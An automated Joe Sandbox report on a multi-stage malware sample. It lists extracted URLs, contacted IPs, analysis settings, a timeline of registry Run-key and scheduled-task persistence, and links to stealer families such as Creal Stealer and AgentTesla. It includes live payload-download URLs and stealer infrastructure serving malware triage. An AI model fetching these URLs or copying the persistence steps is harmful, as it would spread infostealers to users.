http://www.accv.es00	Creal.exe, 00000016.00000003.2103112492.000001B1EEEA3000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2104334200.000001B1EEE73000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000002.2243656750.000001B1EEEBD000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2104245638.000001B1EEF6F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.alexa.com/help/webmasters;	e0cbefcb1af40c7d4aff4aca26621a98.exe	false		high
https://mahler:8092/site-updates.py	Creal.exe, 00000016.00000003.2107994922.000001B1EECB1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.founder.com.cn/cn/bThe	spfasiazx.exe, 00000002.00000002.1683712554.0000000007302000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://tools.ietf.org/html/rfc7231#section-4.3.6)	Creal.exe, 00000016.00000003.2108279267.000001B1EE2B3000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2108557341.000001B1EE2EF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mrproper.org/e0cbefcb1af40c7d4aff4aca26621a98.exeancisco1	build3.exe, 00000008.00000003.1727791573.00000000007C0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://urlhaus.abuse.ch/downloads/text_online/	New_Text_Document_mod.exse.exe, 00000000.00000000.1630397907.0000000000512000.00000002.00000001.01000000.00000003.sdmp	false		high
http://www.firmaprofesional.com/cps0	Creal.exe, 00000016.00000002.2234047109.000001B1EDDDF000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2112932468.000001B1EDDD9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.securetrust.com/SGCA.crl0	Creal.exe, 00000016.00000003.2174246772.000001B1EE312000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2108279267.000001B1EE2B3000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2108557341.000001B1EE2EF000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl3.digi	Creal.exe, 00000012.00000003.1809571994.000001D16E957000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer/main/img/xd.jpg	Creal.exe, 00000016.00000003.2108557341.000001B1EE2EF000.00000004.00000020.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.openssl.org/support/faq.html	buildz.exe, 00000028.00000002.1925950067.0000000002650000.00000040.00001000.00020000.00000000.sdmp	false		high
http://www.typography.netD	spfasiazx.exe, 00000002.00000002.1683712554.0000000007302000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	buildz.exe, 00000028.00000002.1925950067.0000000002650000.00000040.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://cacerts.digicert.co	Creal.exe, 00000012.00000003.1807333296.000001D16E957000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://docs.python.org/library/itertools.html#recipes	Creal.exe, 00000016.00000002.2240429198.000001B1EEB90000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.fonts.com	spfasiazx.exe, 00000002.00000002.1683712554.0000000007302000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	spfasiazx.exe, 00000002.00000002.1683712554.0000000007302000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://discord.com/api/users/	Creal.exe, 00000016.00000002.2240429198.000001B1EEB90000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://repository.swisssign.com/pz	Creal.exe, 00000016.00000003.2223043491.000001B1EEE0C000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2116312421.000001B1EEE07000.00000004.00000020.00020000.00000000.sdmp	false		high
https://gist.github.com/lyssdod/f51579ae8d93c8657a5564aefc2ffbca	Creal.exe, 00000016.00000002.2244367898.000001B1EF490000.00000004.00001000.00020000.00000000.sdmp	false		high
http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/	Creal.exe, 00000016.00000003.2121609938.000001B1EE229000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000002.2234047109.000001B1EDDDF000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2112932468.000001B1EDDD9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.accv.es0	Creal.exe, 00000016.00000003.2103112492.000001B1EEEA3000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2104334200.000001B1EEE73000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.di	Creal.exe, 00000012.00000003.1809110416.000001D16E957000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://search.msn.com/msnbot.htm)msnbot/1.1	e0cbefcb1af40c7d4aff4aca26621a98.exe, e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	false		high
https://www.python.org/	Creal.exe, 00000016.00000003.2107994922.000001B1EECB1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://domen414.com/9f4658d103ba0f0693c21ed9db84a626/e0cbefcb1af40c7d4aff4aca26621a98.exetP	build3.exe, 00000008.00000003.1748755431.00000000007B9000.00000004.00000020.00020000.00000000.sdmp, build3.exe, 00000008.00000003.1727791573.00000000007C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.google.com/bot.html)Mozilla/5.0	e0cbefcb1af40c7d4aff4aca26621a98.exe	false		high
https://twitter.com/	Creal.exe, 00000016.00000003.2110499227.000001B1ED92B000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2149661742.000001B1EE31C000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2108279267.000001B1EE2B3000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2108557341.000001B1EE2EF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.quovadisglobal.com/cps	Creal.exe, 00000016.00000003.2103112492.000001B1EEEA3000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2104334200.000001B1EEE73000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2103691132.000001B1EEF18000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2105982283.000001B1EEF1F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://geolocation-db.com/jsonp/	Creal.exe, 00000016.00000002.2240429198.000001B1EEB90000.00000004.00001000.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://google.com/mail/	Creal.exe, 00000016.00000003.2107994922.000001B1EECB1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/cabarga.htmlN	spfasiazx.exe, 00000002.00000002.1683712554.0000000007302000.00000004.00000800.00020000.00000000.sdmp	false		high
http://google.com/mail/	Creal.exe, 00000016.00000003.2152723470.000001B1EDCB9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn	spfasiazx.exe, 00000002.00000002.1683712554.0000000007302000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://misc.yahoo.com.cn/help.html)QueryPerformanceFrequency	e0cbefcb1af40c7d4aff4aca26621a98.exe	false	URL Reputation: safe	unknown
http://help.yahoo.com/help/us/ysearch/slurp)SonyEricssonK550i/R1JD	e0cbefcb1af40c7d4aff4aca26621a98.exe	false		high
https://www.openssl.org/H	Creal.exe, 00000012.00000003.1814270900.000001D16E957000.00000004.00000020.00020000.00000000.sdmp	false		high
http://code.activestate.com/recipes/577916/	Creal.exe, 00000016.00000003.2162713382.000001B1EE1FA000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
140.82.113.4	github.com	United States	36459	GITHUBUS	false
167.86.119.6	www.magssin.com	Germany	51167	CONTABODE	false
162.159.136.232	discord.com	United States	13335	CLOUDFLARENETUS	true
104.21.91.52	domen414.com	United States	13335	CLOUDFLARENETUS	false
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false
198.46.178.135	unknown	United States	36352	AS-COLOCROSSINGUS	false
172.67.139.220	api.2ip.ua	United States	13335	CLOUDFLARENETUS	false
172.245.208.4	unknown	United States	36352	AS-COLOCROSSINGUS	false
210.182.29.70	brusuax.com	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	true
64.185.227.156	api4.ipify.org	United States	18450	WEBNXUS	false
82.156.94.48	bj.file.myqcloud.com	China	12513	ECLIPSEGB	false
185.199.110.133	objects.githubusercontent.com	Netherlands	54113	FASTLYUS	false
104.21.21.16	tmpfiles.org	United States	13335	CLOUDFLARENETUS	false
104.21.63.180	mrproper.org	United States	13335	CLOUDFLARENETUS	false
104.21.42.224	edarululoom.com	United States	13335	CLOUDFLARENETUS	false
45.33.104.46	mail.acestar.com.ph	United States	63949	LINODE-APLinodeLLCUS	true
159.89.102.253	geolocation-db.com	United States	14061	DIGITALOCEAN-ASNUS	false
185.172.128.19	unknown	Russian Federation	50916	NADYMSS-ASRU	true
116.202.177.141	unknown	Germany	24940	HETZNER-ASDE	false
172.67.195.16	china.dhabigroup.top	United States	13335	CLOUDFLARENETUS	true
91.92.253.29	unknown	Bulgaria	34368	THEZONEBG	false
151.80.29.83	api.gofile.io	Italy	16276	OVHFR	false
162.241.217.120	comediantes.org	United States	46606	UNIFIEDLAYER-AS-1US	false
179.153.102.52	zexeq.com	Brazil	28573	CLAROSABR	true

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1365084
Start date and time:	2023-12-20 15:34:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 15m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	52
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	New_Text_Document_mod.exse.exe
Detection:	MAL
Classification:	mal100.rans.spre.troj.adwa.spyw.evad.winEXE@72/1303@22/24
EGA Information:	Successful, ratio: 63.6%
HCA Information:	Successful, ratio: 95% Number of executed functions: 307 Number of non-executed functions: 169
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe, svchost.exe, TrustedInstaller.exe
Excluded IPs from analysis (whitelisted): 151.101.2.49, 151.101.66.49, 151.101.130.49, 151.101.194.49, 104.208.16.94
Excluded domains from analysis (whitelisted): www.tryhealtoms.website, www.jwsgadgets.com, slscr.update.microsoft.com, www.transportheaven.com, www.hydrocodone88.online, p2.shared.global.fastly.net, pastebin.com, www.jcbenterprisessite.com, iplog.co, www.rezzla.com, ocsp.digicert.com, login.live.com, www.catchelli.com, www.weber-e-store.com, ipinfo.io, www.ageingisthedisease.com, www.donaldview.net, www.massiliapousse.com, www.synergyinnovationgroup.com, onedsblobprdcus16.centralus.cloudapp.azure.com, fs.microsoft.com, raw.githubusercontent.com, ctldl.windowsupdate.com, www.blzzrd.store, fe3cr.delivery.mp.microsoft.com, www.caffleoraret.cyou, blobcollector.events.data.trafficmanager.net, www.hydrogenmovie.com, umwatson.events.data.microsoft.com, www.nrdz.life, www.apexpion.club, spf-asia.com
Execution Graph export aborted for target powershell.exe, PID 7804 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8068 because it is empty
Execution Graph export aborted for target spfasiazx.exe, PID 5480 because it is empty
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
14:35:05	Task Scheduler	Run new task: build3.exe path: C:\Users\user\Desktop\a\build3.exe
14:35:24	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe" --AutoStart
14:35:25	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe s>--Task
14:35:33	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe" --AutoStart
14:35:41	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe.loqw
14:36:06	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run CHADL4Z C:\Program Files (x86)\windows mail\wab.exe
14:36:28	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run CHADL4Z C:\Program Files (x86)\windows mail\wab.exe
15:34:58	API Interceptor	6581567x Sleep call for process: New_Text_Document_mod.exse.exe modified
15:35:00	API Interceptor	1x Sleep call for process: spfasiazx.exe modified
15:35:03	API Interceptor	6054247x Sleep call for process: build3.exe modified
15:35:04	API Interceptor	1x Sleep call for process: WerFault.exe modified
15:35:06	API Interceptor	1x Sleep call for process: alex.exe modified
15:35:11	API Interceptor	23x Sleep call for process: RegSvcs.exe modified
15:35:13	API Interceptor	8x Sleep call for process: e0cbefcb1af40c7d4aff4aca26621a98.exe modified
15:35:13	API Interceptor	132x Sleep call for process: powershell.exe modified
15:35:34	API Interceptor	1x Sleep call for process: buildz.exe modified
15:35:40	API Interceptor	1x Sleep call for process: build2.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
140.82.113.4	o7dKnIGaW3.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Socks5Systemz, Stealc, Vidar	Browse
	payload_1.js	Get hash	malicious	STRRAT	Browse
	payload_1.js	Get hash	malicious	STRRAT	Browse
	Product_images_1d2d9f3zz07d94f0749a.bat	Get hash	malicious	Unknown	Browse
	https://nervous-seed-snowplow.glitch.me	Get hash	malicious	Unknown	Browse
	WPFbaL3CRx.exe	Get hash	malicious	Nanocore, STRRAT	Browse
	https://github.com/httptoolkit/httptoolkit-desktop/releases/download/v1.14.8/HttpToolkit-installer-1.14.8.exe	Get hash	malicious	Unknown	Browse
	https://github.com/ZakKemble/AVRDUDESS/releases/download/v2.14/AVRDUDESS-2.14-setup.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	DarkTortilla, Glupteba, Raccoon Stealer v2, RedLine, SmokeLoader	Browse
	INBV3avdn6.exe	Get hash	malicious	Glupteba, Raccoon Stealer v2, RedLine, SmokeLoader	Browse
	https://rauf.wtf/embed/?title=https%3A%2F%2Fwww.roblox.com%2Fgames%2F132596384%2FprivateserverLinkCode=25357284820472990350844195032077f&redirect=https://global-data-intelligence-limited.psrv.overlead.net/api/monitor/click/tfnlphl/aHR0cHM6Ly9iaDNncjUub21lbm15LnJ1	Get hash	malicious	Unknown	Browse
	123819FMM_Industry4.js	Get hash	malicious	STRRAT	Browse
	ZSMvHYZ1u6.exe	Get hash	malicious	Unknown	Browse
	Dual Corps.exe	Get hash	malicious	Unknown	Browse
	TransferenciabbvafatturaenviadosExwork0093004.jar	Get hash	malicious	STRRAT	Browse
	Dual_Corps.exe	Get hash	malicious	Unknown	Browse
	6681b8b7aa0214bdba4eae3f1895256c.js	Get hash	malicious	STRRAT	Browse
	VaradiaMC.exe	Get hash	malicious	Unknown	Browse
	9BrImyUrIh.exe	Get hash	malicious	Amadey, Babadeda, Mystic Stealer, RedLine, SmokeLoader, zgRAT	Browse
	fTtWZC0cJm.exe	Get hash	malicious	Amadey, Babadeda, Mystic Stealer, Raccoon Stealer v2, RedLine, SmokeLoader, Xmrig	Browse
167.86.119.6	3v9xc057e8.exe	Get hash	malicious	FormBook, GuLoader	Browse
	Invoices.exe	Get hash	malicious	FormBook, GuLoader	Browse
	DHL_AWB_No._1930620478.exe	Get hash	malicious	FormBook, GuLoader	Browse
	QUOTATION_REQUEST_FOR_NEW_ORDER.pif.exe	Get hash	malicious	PureLog Stealer	Browse
	Waybill.xls	Get hash	malicious	FormBook, GuLoader	Browse
	ERuOI1MQ8W.exe	Get hash	malicious	FormBook, GuLoader	Browse
	Invoices.xls	Get hash	malicious	FormBook, GuLoader	Browse
	https://caiwdgn.org/	Get hash	malicious	Unknown	Browse
162.159.136.232	SecuriteInfo.com.Trojan.PackedNET.2583.23619.14250.exe	Get hash	malicious	AgentTesla	Browse
	mei.exe	Get hash	malicious	Blank Grabber	Browse
	RFQ_SP_301123_PDF.exe	Get hash	malicious	AgentTesla	Browse
	N_DOCUMENTS.exe	Get hash	malicious	AgentTesla	Browse
	#U00d6deme_Transfer_Dekontu.exe	Get hash	malicious	AgentTesla	Browse
	42#U0435.exe	Get hash	malicious	AgentTesla	Browse
	cf.exe	Get hash	malicious	Babuk, Conti, Python Ransomware, StormKitty, TrojanRansom	Browse
	z1n0t6KQiluA8LgQ7.exe	Get hash	malicious	AgentTesla	Browse
	Al_Adrak-RFQ-NOV-2023.exe	Get hash	malicious	AgentTesla	Browse
	e-dekont.exe	Get hash	malicious	AgentTesla	Browse
	ICLOUDSTEALER.exe	Get hash	malicious	Creal Stealer, Xmrig	Browse
	main.exe	Get hash	malicious	Discord Token Stealer	Browse
	NoBackend.exe	Get hash	malicious	Unknown	Browse
	Nota_de_credito.exe	Get hash	malicious	AgentTesla	Browse
	PO_4500188776.exe	Get hash	malicious	AgentTesla	Browse
	DUrtA5NJvAcOoYZ.exe	Get hash	malicious	AgentTesla	Browse
	http://statspixel.com	Get hash	malicious	Unknown	Browse
	H#U00f3a_#U0111#U01a1n_Proforma_10042023-pdf.exe	Get hash	malicious	AgentTesla	Browse
	Price_and_Quotation_List.exe	Get hash	malicious	AgentTesla	Browse
	Yeni_sipari#U015f.exe	Get hash	malicious	AgentTesla	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mail.acestar.com.ph	xnL5Zr3342.exe	Get hash	malicious	AgentTesla	Browse	45.33.104.46
	70SAgIWbD0qc3BH.exe	Get hash	malicious	AgentTesla	Browse	45.33.104.46
	chima(1).exe	Get hash	malicious	AgentTesla, zgRAT	Browse	45.33.104.46
	SecuriteInfo.com.Win32.RATX-gen.17832.13683.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	45.33.104.46
	SecuriteInfo.com.Win32.PWSX-gen.7378.19578.exe	Get hash	malicious	AgentTesla	Browse	45.33.104.46
	SecuriteInfo.com.Win32.PWSX-gen.17017.127.exe	Get hash	malicious	AgentTesla	Browse	45.33.104.46
	SecuriteInfo.com.Win32.PWSX-gen.19576.11623.exe	Get hash	malicious	AgentTesla	Browse	45.33.104.46
	SecuriteInfo.com.Win32.TrojanX-gen.4879.3078.exe	Get hash	malicious	AgentTesla	Browse	45.33.104.46
	chima.exe	Get hash	malicious	AgentTesla	Browse	45.33.104.46
	SecuriteInfo.com.Win32.PWSX-gen.4548.7877.exe	Get hash	malicious	AgentTesla	Browse	45.33.104.46
	SecuriteInfo.com.Win32.RATX-gen.10863.32284.exe	Get hash	malicious	AgentTesla	Browse	45.33.104.46
	SecuriteInfo.com.Trojan.Inject4.59820.15812.20006.exe	Get hash	malicious	AgentTesla	Browse	45.33.104.46
	SecuriteInfo.com.Win32.PWSX-gen.1807.23407.exe	Get hash	malicious	AgentTesla	Browse	45.33.104.46
discord.com	SecuriteInfo.com.Python.Stealer.1190.23622.5282.exe	Get hash	malicious	Creal Stealer	Browse	162.159.135.232
	e-dekont.exe	Get hash	malicious	AgentTesla	Browse	162.159.135.232
	x8Rh3L1DiO.exe	Get hash	malicious	Blank Grabber, Xmrig	Browse	162.159.128.233
	YEN#U0130_S#U0130PAR#U0130#U015e.exe	Get hash	malicious	AgentTesla	Browse	162.159.128.233
	https://link.mail.beehiiv.com/ss/c/SFMS2DGC_3bR2eTtelyfFUzhcGs9TWsEeQw8nQp279J9B9upNohe5IND2DzRg4GfFe3uzMCkwl0VCcFF4p9tdZ71PSC4SlxBXIoR6qgai_e9KXQu46yVwLcidRn-ax90dry5wHpUbN5t2kTBuqVHtjiUR148OM6f2kzv0FbM9-j2d8Pfv1aAiA8m-jIRZ1qPGcwv7cKHtg7zS7k4vguTCgqcLvbDJq61ZPMm3FUyJbd-2ROdV-1aYJVxlO48nGuxkYE6PJ8AjBLfTrwxiX4S2X3JBdpAgH-S1qPrWFIUFnwhW_rcr9w0IZhVJg2k6UwPe0XxcmVm_hXa3Zy0nKOCBvO11zW3IuzS0wT0aqoeUGhUZL_BJAovHWU-78ta_hn0kcmqrlBzh66Yb9lBLgDUfmEypG1yBWRlXPRZ1w7redaJaooKiPuwr2V5n8bXDS9_yWg2USHIOqCrcsTtBGYogmSv3HnV9rD8TCUiXo47xhMBVMzr7StZWjjgT4kZsxK7CX-zIn8YCCC8lkjyOEp6xgdXFjETIB4df5tQm7lBbPlCZ99btsVwezxOnJZ4MV1piJOH9CONfmhGD5405v_OGQ0ddDY5d31qqadrUj9T5uo/422/2hUrqrZHQZSMSqb_7MA2RQ/h1/bXAkiKjrMazQzzpENtDvosiaH2ZRcmZd0aMxcbDunvM	Get hash	malicious	Unknown	Browse	162.159.137.232
	Purchase_Enquiry-Y97STVZCPZC12AQ-03315904351-pdf.exe	Get hash	malicious	AgentTesla	Browse	162.159.135.232
	Halkbank_Ekstre_20230426_075819_154055.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	162.159.137.232
	INQ#876567_AWBMATERIAL_TCW_tresnds_inc_PDF.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	162.159.137.232
	downloader.bat	Get hash	malicious	AsyncRAT, RedLine, StormKitty, Strela Stealer, VenomRAT, zgRAT	Browse	162.159.135.232
	PROFORMA_FATURA.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	162.159.128.233
	RFQ#445890_INQDEC2895PROD_Hangzhou_Zhongniu_Import_Export_Co.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	162.159.135.232
	sipari#U015f_formu_231510.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	162.159.135.232
	#U0130HRACAT_BELGELER#U0130.exe	Get hash	malicious	AgentTesla	Browse	162.159.138.232
	file30028.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	162.159.138.232
	payment_receipt.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	162.159.128.233
	RFQ#445890_INQDEC2895PROD_Hangzhou_Zhongniu_Import_Export_Cos.PDF.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	162.159.137.232
	SecuriteInfo.com.Trojan.PackedNET.2583.23619.14250.exe	Get hash	malicious	AgentTesla	Browse	162.159.136.232
	BlackoutWare.exe	Get hash	malicious	Babuk, Chaos, Conti, Python Ransomware, TrojanRansom	Browse	162.159.135.232
	QQqVr0drvD.exe	Get hash	malicious	Luna Logger	Browse	162.159.128.233
	Fluxus V7.exe	Get hash	malicious	Python Stealer, Blank Grabber	Browse	162.159.135.232
mrproper.org	file.exe	Get hash	malicious	Amadey, Djvu, Glupteba, Petite Virus, RedLine, SmokeLoader, Socks5Systemz	Browse	104.21.63.180

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GITHUBUS	https://github.com/ParrotSec/mimikatz/raw/master/x64/mimikatz.exe	Get hash	malicious	Mimikatz	Browse	140.82.113.3
	aP9PbXkkwF.exe	Get hash	malicious	MinerDownloader, Xmrig	Browse	140.82.114.3
	https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/raw/master/Ransomware.WannaCry.zip	Get hash	malicious	Wannacry, Conti	Browse	140.82.114.3
	900099668990900.js	Get hash	malicious	STRRAT	Browse	140.82.112.3
	900099668990900.js	Get hash	malicious	STRRAT	Browse	140.82.112.3
	GarEwUZuLO.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Socks5Systemz, Stealc, Vidar	Browse	140.82.112.3
	Zgh9WMogTw.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Stealc, zgRAT	Browse	140.82.112.3
	o7dKnIGaW3.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Socks5Systemz, Stealc, Vidar	Browse	140.82.113.4
	1grVKS95J5.exe	Get hash	malicious	Glupteba, RedLine, RisePro Stealer, SmokeLoader, Vidar, zgRAT	Browse	140.82.114.3
	S34LLQSfIU.exe	Get hash	malicious	Glupteba, RedLine, RisePro Stealer, SmokeLoader, Vidar, zgRAT	Browse	140.82.114.3
	bbSC5jm8tF.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Stealc, Vidar, zgRAT	Browse	140.82.114.4
	74APa4Tj5X.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Socks5Systemz, Stealc, Vidar	Browse	140.82.112.3
	HMK6TwkL34.exe	Get hash	malicious	Glupteba, RedLine, RisePro Stealer, SmokeLoader, Vidar, zgRAT	Browse	140.82.114.3
	ZD5mURR85C.msi	Get hash	malicious	Unknown	Browse	140.82.114.4
	payload_1.js	Get hash	malicious	STRRAT	Browse	140.82.112.4
	payload_1.js	Get hash	malicious	STRRAT	Browse	140.82.112.4
	XEXPJu3n0v.exe	Get hash	malicious	BazaLoader	Browse	140.82.113.3
	XEXPJu3n0v.exe	Get hash	malicious	BazaLoader	Browse	140.82.114.3
	https://github.com/carlospolop/PEASS-ng/releases/download/20231210-89d560ba/winPEASx64.exe	Get hash	malicious	PEASS HackTool	Browse	140.82.114.3
	Product_images_1d2d9f3zz07d94f0749a.bat	Get hash	malicious	Unknown	Browse	140.82.113.4
CONTABODE	3v9xc057e8.exe	Get hash	malicious	FormBook, GuLoader	Browse	167.86.119.6
	Invoices.exe	Get hash	malicious	FormBook, GuLoader	Browse	167.86.119.6
	DHL_AWB_No._1930620478.exe	Get hash	malicious	FormBook, GuLoader	Browse	167.86.119.6
	https://matedds.top/?okgnntsz=7c4f2a6f80f25996b2a48f55ca7d5c8262cfc7af4a8f576619920496edcbbd0e6248c2a3b1f7f42de862d817a2007eb8cfc2d6274880ffad66ac8f4ab727810c	Get hash	malicious	HTMLPhisher	Browse	161.97.80.161
	QUOTATION_REQUEST_FOR_NEW_ORDER.pif.exe	Get hash	malicious	PureLog Stealer	Browse	167.86.119.6
	Waybill.xls	Get hash	malicious	FormBook, GuLoader	Browse	167.86.119.6
	NBHEkIKDCr.exe	Get hash	malicious	Glupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5Systemz	Browse	173.249.63.227
	https://matedds.top/?okgnntsz=2d4136c3c0e550977fbcc75450cd102252c502ae1ddb3b52f87723d0e1fae463a268d03db1712203337b36e0cc89ed3fcde21f394a7756ca6e961601a76dc33c	Get hash	malicious	HTMLPhisher	Browse	161.97.80.161
	PgTUKv9KRW.exe	Get hash	malicious	Nanocore, zgRAT	Browse	173.212.199.134
	ERuOI1MQ8W.exe	Get hash	malicious	FormBook, GuLoader	Browse	167.86.119.6
	Invoices.xls	Get hash	malicious	FormBook, GuLoader	Browse	167.86.119.6
	https://caiwdgn.org/	Get hash	malicious	Unknown	Browse	167.86.119.6
	Updated Handbook Overlakehospital.html	Get hash	malicious	HTMLPhisher	Browse	62.171.141.146
	CtTZm1DHG4A9nbE.exe	Get hash	malicious	FormBook	Browse	144.91.91.212
	SecuriteInfo.com.Win32.PWSX-gen.23026.7620.exe	Get hash	malicious	AgentTesla	Browse	62.171.164.209
	file.exe	Get hash	malicious	RedLine, SmokeLoader, Stealc	Browse	173.249.63.227
	BRvptajioG.exe	Get hash	malicious	RedLine, SmokeLoader, Stealc	Browse	62.171.180.6
	Rechnung002387723.exe	Get hash	malicious	AveMaria, UACMe	Browse	173.212.199.134
